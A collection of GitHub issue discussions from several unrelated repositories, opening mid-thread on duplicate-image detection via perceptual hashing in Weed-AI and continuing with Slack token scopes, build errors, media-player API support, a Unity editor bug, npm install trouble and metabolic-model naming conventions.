are not md5 identical, though this is what they look like (and what our duplicate detector picks up):

Ok, thanks for working that out. I'll send Alex an email with the list of duplicate images and ask how he would like to resolve it.  This pair look identical but as you mention, only the "20170207-142255-0.jpg", "20180112-092440-2.jpg" pair seem to be wildly different.

I think overall uploading zip is a much better approach to resolve large dataset and it should work functionally. Glad to see that.
Is this upload very urgent? If yes, I can give you a quick fix today to at least show you which images are identical. Otherwise, I'll discuss with Joel next Monday and come out a better solution.

Very much agreed that the zip file upload is easier! Saved 95% of the time/resources required and much easier to make multiple efforts when it doesn't take as long. Are there downsides to this method?

I think overall uploading zip is a much better approach to resolve large dataset and it should work functionally. Glad to see that.
Is this upload very urgent? If yes, I can give you a quick fix today to at least show you which images are identical. Otherwise, I'll discuss with Joel next Monday and come out a better solution.

Very much agreed that the zip file upload is easier! Saved 95% of the time/resources required and much easier to make multiple efforts when it doesn't take as long. Are there downsides to this method?

Hey Guy, the only drawback of zip upload is that you cannot modify each image and you have upload them together. Other than that, it's good to go.

We are using hash size 10 to identify images. I found that the 2 images are different for hash size to be 8 or 16 but they are the same when hash size is 10. And this only happen to this image pair.
>>> str(imagehash.average_hash(PIL.Image.open('/Users/elevn/Documents/images/20180112-092440-2.jpg'), hash_size=8))
'e0e0e0e0e0e0e0c0'
>>> str(imagehash.average_hash(PIL.Image.open('/Users/elevn/Documents/images/20170207-142255-0.jpg'), hash_size=8))
'f0e0e0e0c0c0c0c0'
>>> str(imagehash.average_hash(PIL.Image.open('/Users/elevn/Documents/images/20180112-092440-2.jpg'), hash_size=10))
'f03c0f03c0e0380e0380e0380'
>>> str(imagehash.average_hash(PIL.Image.open('/Users/elevn/Documents/images/20170207-142255-0.jpg'), hash_size=10))
'f03c0f03c0e0380e0380e0380'
>>> str(imagehash.average_hash(PIL.Image.open('/Users/elevn/Documents/images/20180112-092440-2.jpg'), hash_size=16))
'f600fe00fe00fe00fe00fc00fc00fc00f800fc00f800f800d800d8005800f800'
>>> str(imagehash.average_hash(PIL.Image.open('/Users/elevn/Documents/images/20170207-142255-0.jpg'), hash_size=16))
'fe00fe40f880fc00ee00fc00fc00fc00f800f800f800f800f000f000f800b000'

I think we should change the hash size to either 8 or 16.

I think overall uploading zip is a much better approach to resolve large dataset and it should work functionally. Glad to see that.
Is this upload very urgent? If yes, I can give you a quick fix today to at least show you which images are identical. Otherwise, I'll discuss with Joel next Monday and come out a better solution.

Very much agreed that the zip file upload is easier! Saved 95% of the time/resources required and much easier to make multiple efforts when it doesn't take as long. Are there downsides to this method?

Hey Guy, the only drawback of zip upload is that you cannot modify each image and you have upload them together. Other than that, it's good to go.

Ok great - I think the zip file method is what we should recommend then for most/all datasets over 100 images then.

We are using hash size 10 to identify images. I found that the 2 images are different for hash size to be 8 or 16 but they are the same when hash size is 10. And this only happen to this image pair.
>>> str(imagehash.average_hash(PIL.Image.open('/Users/elevn/Documents/images/20180112-092440-2.jpg'), hash_size=8))
'e0e0e0e0e0e0e0c0'
>>> str(imagehash.average_hash(PIL.Image.open('/Users/elevn/Documents/images/20170207-142255-0.jpg'), hash_size=8))
'f0e0e0e0c0c0c0c0'
>>> str(imagehash.average_hash(PIL.Image.open('/Users/elevn/Documents/images/20180112-092440-2.jpg'), hash_size=10))
'f03c0f03c0e0380e0380e0380'
>>> str(imagehash.average_hash(PIL.Image.open('/Users/elevn/Documents/images/20170207-142255-0.jpg'), hash_size=10))
'f03c0f03c0e0380e0380e0380'
>>> str(imagehash.average_hash(PIL.Image.open('/Users/elevn/Documents/images/20180112-092440-2.jpg'), hash_size=16))
'f600fe00fe00fe00fe00fc00fc00fc00f800fc00f800f800d800d8005800f800'
>>> str(imagehash.average_hash(PIL.Image.open('/Users/elevn/Documents/images/20170207-142255-0.jpg'), hash_size=16))
'fe00fe40f880fc00ee00fc00fc00fc00f800f800f800f800f000f000f800b000'

I think we should change the hash size to either 8 or 16.

@ElevnLi - did you end up changing the hash size? I removed the genuine 14 duplicates and tried reuploading but still got the error that there were duplicate images in the folder. Image/label count is now 17495, so I'm fairly confident they are gone.

It might not be in the currently deployed version, sorry. Sorry for the troubles; we will merge this code and deploy today
From: Guy Coleman @.>
Reply to: Sydney-Informatics-Hub/Weed-AI @.>
Date: Thursday, 1 July 2021 at 8:54 am
To: Sydney-Informatics-Hub/Weed-AI @.>
Cc: "joel.nothman" @.>, Comment @.***>
Subject: Re: [Sydney-Informatics-Hub/Weed-AI] Upload visualisation very slow for large datasets (#488)
We are using hash size 10https://github.com/Sydney-Informatics-Hub/Weed-AI/blob/8de44388c12112b6becbabea45b5454fd5c8a5cf/weedcoco/repo/deposit.py#L80 to identify images. I found that the 2 images are different for hash size to be 8 or 16 but they are the same when hash size is 10. And this only happen to this image pair.

str(imagehash.average_hash(PIL.Image.open('/Users/elevn/Documents/images/20180112-092440-2.jpg'), hash_size=8))

'e0e0e0e0e0e0e0c0'

str(imagehash.average_hash(PIL.Image.open('/Users/elevn/Documents/images/20170207-142255-0.jpg'), hash_size=8))

'f0e0e0e0c0c0c0c0'

str(imagehash.average_hash(PIL.Image.open('/Users/elevn/Documents/images/20180112-092440-2.jpg'), hash_size=10))

'f03c0f03c0e0380e0380e0380'

str(imagehash.average_hash(PIL.Image.open('/Users/elevn/Documents/images/20170207-142255-0.jpg'), hash_size=10))

'f03c0f03c0e0380e0380e0380'

str(imagehash.average_hash(PIL.Image.open('/Users/elevn/Documents/images/20180112-092440-2.jpg'), hash_size=16))

'f600fe00fe00fe00fe00fc00fc00fc00f800fc00f800f800d800d8005800f800'

str(imagehash.average_hash(PIL.Image.open('/Users/elevn/Documents/images/20170207-142255-0.jpg'), hash_size=16))

'fe00fe40f880fc00ee00fc00fc00fc00f800f800f800f800f000f000f800b000'
I think we should change the hash size to either 8 or 16.
@ElevnLihttps://github.com/ElevnLi - did you end up changing the hash size? I removed the genuine 14 duplicates and tried reuploading but still got the error that there were duplicate images in the folder. Image/label count is now 17495, so I'm fairly confident they are gone.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHubhttps://github.com/Sydney-Informatics-Hub/Weed-AI/issues/488#issuecomment-871777714, or unsubscribehttps://github.com/notifications/unsubscribe-auth/AAATH2YGSJIYV4OJWB433JLTVOOCXANCNFSM46PYHGAA.

The version without false identifications of duplicates should be deployed now.
The only pairs that should be triggering a clash now are (20171218-110346-3.jpg, 20171218-110417-3.jpg) and (20180125-132851-2.jpg, 20180125-132850-2.jpg).

No worries, thanks! Are they two additional duplicate pairs to the 14 removed?

From: Joel Nothman @.>
Sent: Wednesday, June 30, 2021 7:46:43 PM
To: Sydney-Informatics-Hub/Weed-AI @.>
Cc: Guy Coleman @.>; Mention @.>
Subject: Re: [Sydney-Informatics-Hub/Weed-AI] Upload visualisation very slow for large datasets (#488)
The version without false identifications of duplicates should be deployed now.
The only pairs that should be triggering a clash now are (20171218-110346-3.jpg, 20171218-110417-3.jpg) and (20180125-132851-2.jpg, 20180125-132850-2.jpg).
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHubhttps://github.com/Sydney-Informatics-Hub/Weed-AI/issues/488#issuecomment-871823043, or unsubscribehttps://github.com/notifications/unsubscribe-auth/AMH2WITJ45N7LHUW3YZB4Z3TVO3HHANCNFSM46PYHGAA.

No, they are a subset of those previously matched

authors: ElevnLi geezacoleman jnothman

repo: Sydney-Informatics-Hub/Weed-AI


text:
Scopes organization has changed

Running into an issue with:
TypeError: 'NoneType' object is not subscriptable
I went back to check the scopes on the token, and I'm seeing that channels:write doesn't exist anymore. Trying to figure out what scopes are actually required now.

Oops, the issue was with IP addresses. However, the scopes are organized differently now. These should be updated.

Not sure if this is related to the permissions scopes, but no message from the "Channel Reaper" showed up when I archived a handful of channels

What are the replacement scopes you used?

What are the replacement scopes you used?

I changed the documentation for the correct scopes here: https://github.com/Symantec/slack-autoarchive/pull/32

Hm, that mentions channels:write, but isn't that one of the old scopes?

@aharpervc I don't know. I haven't run this script in a while. This code seems to refer to the deprecated legacy tokens. Nothing I input as a SLACK_TOKEN seems to work now. I've tried each of the following:

Signing secret
Verification token
OAuth Access Token
Bot User OAuth Access Token

None of those work, though.
@JohnTheodore Is there any chance of this code being updated to use the proper oauth.v2.access app credentials?

I left the company awhile ago. This github project is not maintained by anyone sadly. I'd just go with which ever fork has the most new activity?

Looks like this fork is the one that works now: https://github.com/grailbio-external/slack-autoarchive
https://github.com/Symantec/slack-autoarchive is dead! Long live https://github.com/grailbio-external/slack-autoarchive!

authors: JohnTheodore aharpervc sethgoldin

repo: Symantec/slack-autoarchive


text:
Nextpnr fails to find libboost_python.so library

Nextpnr-xilinx tests are failing with the following message:
nextpnr-xilinx --chipdb /data/fpga-tool-perf/env/conda/envs/fpga-tool-perf-env/share/nextpnr-xilinx/xc7z010clg400-1.bin --xdc /data/fpga-tool-perf/src/oneblink/constr/nextpnr-xilinx-zybo.xdc --json oneblink.json --write oneblink.routed.json --fasm oneblink.fasm --log nextpnr.log
nextpnr-xilinx: error while loading shared libraries: libboost_python37.so.1.67.0: cannot open shared object file: No such file or directory
oneblink-nextpnr.mk:11: recipe for target 'oneblink.fasm' failed
make[1]: *** [oneblink.fasm] Error 127
make[1]: Leaving directory '/data/fpga-tool-perf/build/_exhaust-runs/oneblink_nextpnr-xilinx_xc7_z010clg400-1_zybo_generic_000_xdc_carry-n'
Makefile:16: recipe for target 'oneblink.fasm' failed
make: *** [oneblink.fasm] Error 2

This might get solved by modifying the conda-package meta. Investigating

Seems that by updating to the latest conda packages solved the issue. Closing

repo: SymbiFlow/fpga-tool-perf

license: isc


text:
Add fasm dependencies to environment.yml

Add dependencies for fasm ANTLR parser to Conda environment.yml, so that make env will install these.

Can you make sure there is a comment about why these dependencies exist and when they can be removed?

Done.

Vendor test failures are due to https://github.com/SymbiFlow/symbiflow-arch-defs/issues/1915

repo: SymbiFlow/symbiflow-arch-defs

license: ISC


text:
add failing test for #777

Ref #777

Unable to solve this.

repo: Symplify/Symplify


text:
Support for MPC-BE

Hello,
I use MPC-BE (Like MPC-HE, but with black UI and some improvements..)
It seems to not be usable. Can you add support, thanks
Exe name: mpc-be64.exe

We have looked into this before and it turned out that because MPC-BE did not support the latest version of the MPC-HC API there was nothing we could do from within Syncplay to support it. As such, you should be asking MPC-BE to support Syncplay rather than asking Syncplay to support MPC-BE. If MPC-BE ever supports the current MPC-HC API then we'd love for someone to let us know because then we could just tweak our MPC-HC code to support MPC-BE.

Thanks for your reply.
Here the API of MPC-BE (from the official SVN): http://svn.code.sf.net/p/mpcbe/code/tags/release_1.5.1/src/apps/mplayerc/mpcapi.h

Missing from MPC-BE 1.5.1 API:

CMD_VERSION             = 0x5000000A,
CMD_DISCONNECT          = 0x5000000B,
CMD_PLAY = 0xA0000004,
CMD_PAUSE = 0xA0000005,
CMD_GETVERSION = 0xA0003006
CMD_SETSPEED            = 0xA0004008,

Try MPC-BE 1.5.2.3123 or later.

Thanks @v0lt for https://sourceforge.net/p/mpcbe/code/3116/ and https://sourceforge.net/p/mpcbe/code/3119/
Seems to work on a cursory test with MPC-BE 1.5.2.3148 x64, but haven't done a thorough test. If you are using MPC-BE 1.5.2.3123 or above then please copy mpc-be64.exe and rename it mpc-hc64.exe (or mpc-be.exe and rename it mpc-hc.exe), set that as the path to player executable in Syncplay 1.5.0, and tell me how well it works. If we can confirm it works without issue then we can add recognition of the MPC-BE executable filenames to Syncplay. If there are issues we can see if they can be resolved Syncplay-side or if they need further changes to MPC-BE.
@joeoe asked about MPC-BE support back in 2015 (#68) so they might be able to test it too.

Syncplay with MPC-BE support test build available from http://syncplay.pl/syncplay_v1.5.0_mpcbe.zip - please test it and let me know how it works.

Hello,
It seems to work fine, no apparent lags, every functions seems to work fine.
Thanks bro

@marwanpro Thanks for testing it. I've not had any problems with it either so it seems good to include in the next release of Syncplay.

MPC-BE support is now in Syncplay 1.5.1: http://syncplay.pl/syncplay-1-5-1/

repo: Syncplay/syncplay


text:
Music cog commands cannot be reloaded

Using dev commands to reload commands such as queue, now, play, etc. doesn't work. The music cog itself also does not work as a reload target.

The -f flag for *load commands introduced in the lockdown branch could be a solution to this already and should be investigated

repo: Synergile/Synergile


text:
道路編集で高さが変わる問題を修正、リファクタ

道路調整→編集→道路を選択して編集すると、今までは道路の高さがズレていたのを直しました
リファクタしました

道路編集ボタンをオフにした時にNullReferenceが発生したので確認してもらえますか？

NullReferenceException: Object reference not set to an instance of an object
PLATEAU.Editor.Window.Main.Tab.RoadGuiParts.RoadEditPanel.TerminateSystem_ () (at ./Packages/PlateauUnitySDK/Editor/Window/Main/Tab/RoadGUIParts/RoadEditPanel.cs:138)
PLATEAU.Editor.Window.Main.Tab.RoadGuiParts.RoadEditPanel.b__11_0 (UnityEngine.UIElements.ChangeEvent1[T] evt) (at ./Packages/PlateauUnitySDK/Editor/Window/Main/Tab/RoadGUIParts/RoadEditPanel.cs:100) UnityEngine.UIElements.EventCallbackFunctor1[TEventType].Invoke (UnityEngine.UIElements.EventBase evt, UnityEngine.UIElements.PropagationPhase propagationPhase) (at :0)
UnityEngine.UIElements.EventCallbackRegistry.InvokeCallbacks (UnityEngine.UIElements.EventBase evt, UnityEngine.UIElements.PropagationPhase propagationPhase) (at :0)
UnityEngine.UIElements.CallbackEventHandler.HandleEvent (UnityEngine.UIElements.EventBase evt) (at :0)
UnityEngine.UIElements.CallbackEventHandler.HandleEventAtCurrentTargetAndPhase (UnityEngine.UIElements.EventBase evt) (at :0)
UnityEngine.UIElements.CallbackEventHandler.UnityEngine.UIElements.IEventHandler.HandleEvent (UnityEngine.UIElements.EventBase evt) (at :0)
UnityEngine.UIElements.EventDispatchUtilities.HandleEventAcrossPropagationPath (UnityEngine.UIElements.EventBase evt) (at :0)
UnityEngine.UIElements.EventDispatchUtilities.PropagateEvent (UnityEngine.UIElements.EventBase evt) (at :0)
UnityEngine.UIElements.DefaultDispatchingStrategy.DispatchEvent (UnityEngine.UIElements.EventBase evt, UnityEngine.UIElements.IPanel panel) (at :0)
UnityEngine.UIElements.EventDispatcher.ApplyDispatchingStrategies (UnityEngine.UIElements.EventBase evt, UnityEngine.UIElements.IPanel panel, System.Boolean imguiEventIsInitiallyUsed) (at :0)
UnityEngine.UIElements.EventDispatcher.ProcessEvent (UnityEngine.UIElements.EventBase evt, UnityEngine.UIElements.IPanel panel) (at :0)
UnityEngine.UIElements.EventDispatcher.ProcessEventQueue () (at :0)
UnityEngine.UIElements.EventDispatcher.OpenGate () (at :0)
UnityEngine.UIElements.EventDispatcherGate.Dispose () (at :0)
UnityEngine.UIElements.EventDispatcher.ProcessEvent (UnityEngine.UIElements.EventBase evt, UnityEngine.UIElements.IPanel panel) (at :0)
UnityEngine.UIElements.EventDispatcher.ProcessEventQueue () (at :0)
UnityEngine.UIElements.EventDispatcher.OpenGate () (at :0)
UnityEngine.UIElements.EventDispatcherGate.Dispose () (at :0)
UnityEngine.UIElements.EventDispatcher.ProcessEvent (UnityEngine.UIElements.EventBase evt, UnityEngine.UIElements.IPanel panel) (at :0)
UnityEngine.UIElements.EventDispatcher.Dispatch (UnityEngine.UIElements.EventBase evt, UnityEngine.UIElements.IPanel panel, UnityEngine.UIElements.DispatchMode dispatchMode) (at :0)
UnityEngine.UIElements.BaseVisualElementPanel.SendEvent (UnityEngine.UIElements.EventBase e, UnityEngine.UIElements.DispatchMode dispatchMode) (at :0)
UnityEngine.UIElements.UIElementsUtility.DoDispatch (UnityEngine.UIElements.BaseVisualElementPanel panel) (at :0)
UnityEngine.UIElements.UIElementsUtility.UnityEngine.UIElements.IUIElementsUtility.ProcessEvent (System.Int32 instanceID, System.IntPtr nativeEventPtr, System.Boolean& eventHandled) (at :0)
UnityEngine.UIElements.UIEventRegistration.ProcessEvent (System.Int32 instanceID, System.IntPtr nativeEventPtr) (at :0)
UnityEngine.UIElements.UIEventRegistration+<>c.<.cctor>b__1_2 (System.Int32 i, System.IntPtr ptr) (at :0)
UnityEngine.GUIUtility.ProcessEvent (System.Int32 instanceID, System.IntPtr nativeEventPtr, System.Boolean& result) (at <701a05767aa048528876500a22329b6c>:0)

↑　発生条件わかりました。
編集モードに入った後に,  ウィンドウを×ボタンで閉じる
再度開くと、編集モードがオンになったまま -> 編集モードをオフにしようとするとNull例外発生でした。
こちら、今回のプルリクで関係ないバグであれば無視していただき問題ありません。

編集中にシーンのカメラを動かそうと Alt + 右ドラックで視点変更しようとすると, 勝手に道路が移動するようですがこちら確認お願いできますか？
https://github.com/user-attachments/assets/af176a43-364b-40aa-85b0-ae8d6a13a97a

まだ高さがずれているようです。

タブを変えたりウィンドウを閉じたとき、編集モードがオフになるようにしました。
alt+クリックではレーンドラッグが反応しないようにしました。
高さは道路ネットワークを作り直せば解決します

authors: linoal rennone

repo: Synesthesias/PLATEAU-SDK-for-Unity


text:
npm install --save-dev @synthetixio/synpress fails

Hi I am having issues installing using npm.
npm install --save-dev @synthetixio/synpress fails
fails with:
npm ERR! code ENOENT
npm ERR! syscall spawn git
npm ERR! path git
npm ERR! errno -4058
npm ERR! enoent An unknown git error occurred
npm ERR! enoent This is related to npm not being able to find a file.
npm ERR! enoent
I tried using the --legacy-peer-deps flag aswell
I am using
Node v16.13.0
npm v8.3.0
Clearing npm cache and deleting node_modules did not solve the issue.
This is the relevant part of the npm debug log:
4709 verbose stack Error: An unknown git error occurred
4709 verbose stack     at makeError (C:\Users<user>\AppData\Roaming\npm\node_modules\npm\node_modules@npmcli\git\lib\make-error.js:28:13)
4709 verbose stack     at C:\Users<user>\AppData\Roaming\npm\node_modules\npm\node_modules@npmcli\git\lib\spawn.js:36:26
4709 verbose stack     at runMicrotasks ()
4709 verbose stack     at processTicksAndRejections (node:internal/process/task_queues:96:5)
4710 verbose cwd C:\Users<user>\Path\To\Project\root
4711 verbose Windows_NT 10.0.19043
4712 verbose argv "C:\Program Files\nodejs\node.exe" "C:\Users\\AppData\Roaming\npm\node_modules\npm\bin\npm-cli.js" "i" "--save-dev" "@synthetixio/synpress"
4713 verbose node v16.13.0
4714 verbose npm  v8.3.0
Is this an issue with npm, git, node or with your package?
Thanks!

I tried again with the newest npm version (v8.6) and a completely empty node project, leading to the same result.

I managed to fix this by putting cypress and synpress into the package.json file and then installing them both at the same time using "npm i"
No idea why this worked but "npm i @synthetixio/synpress cypress" did not work.

Hey @L-TheG, thanks for letting me know. I will make sure to verify what's going with Windows and get back to you.
Cheers!

Ok after some more experimenting, it turns out it does actually work with only adding synpress (explicitly adding cypress not necessary) to the package.json. So it seems to only be the "npm i synpress" command that seems to be the issue

authors: L-TheG drptbl

repo: Synthetixio/synpress


text:
Simulate release for every config we have

TEST ALL THNIGS

@noisekit competition need to simulate upgrade to the competition  preset instead of the default main preset. otherwise it will look like its rebuilding everything when its actually not
regarding failure of arbitrum-goerli job, there seems to be issues with the arbitrum network with anvil simulation which are out of our control. we almost alwyas have to YOLO that release out. perhaps we should remove from CI for now?

authors: dbeal-eth noisekit

repo: Synthetixio/synthetix-deployments


text:
Naming convention for rxns/mets identifiers in humanGEM

Description of the issue:

There have been no newly added reactions in humanGEM since the generation. Yet new reactions (and mets) will come now and then later. And the naming convention of forthcoming rxns/mets ids should be determined in advance.
Here I propose a nomenclatures that is expected to be applied to new reaction/metabolite identifiers in the future.
This issue is to bring up open discussion to the proposal. Constructive suggestions and ideas are highly welcome.

Expected feature/value/output:

All existing HMR rxns/mets ids will remain unchanged, to avoid any further conversions.
Given that the humanGEM is inherited from HMR, it is preferred to follow the existing style for new ids, simply by increasing the number of numerical part.
For example, HMR has rxn ids from HMR_0001 up to HMR_9818. I suggest to assign new reactions with ids starting form HMR_10000, and HMR_10001, HMR_10002, and onward...
The existing met ids were organized as such: 'm' is followed by 5 digits and ended with comp abbreviation (e.g. m00001c). So far, the middle five digits range from 00001 up to 03170. Therefore, the upcoming new mets could be assigned as m03171c, m03172m, and onward...
This would also reserve the identify of HMR database, despite of its renaming to humanGEM

I hereby confirm that I have:

[X] Done this analysis in the master branch of the repository v0.7.0
[X] Checked that a similar issue does not exist already

Hello,
For the mets id in humanGEM, there are currently two types of assignation of compartments. Could m03171c be m03171_c, like tmacmp_c, to facilitate the parsing?
Thank you.
Du Tran

@vandutt thank you for the comments.
HumanGEM is inherited from the HMR2 and Recon3D, which have different met id formats that have been retained for backward compatibility.
Note that one can directly get the metabolite compartment info through the metComps field provided in the model.

This convention for naming new rxn/met ids has been adopted since v0.8 and functioning well.

authors: Hao-Chalmers vandutt

repo: SysBioChalmers/Human-GEM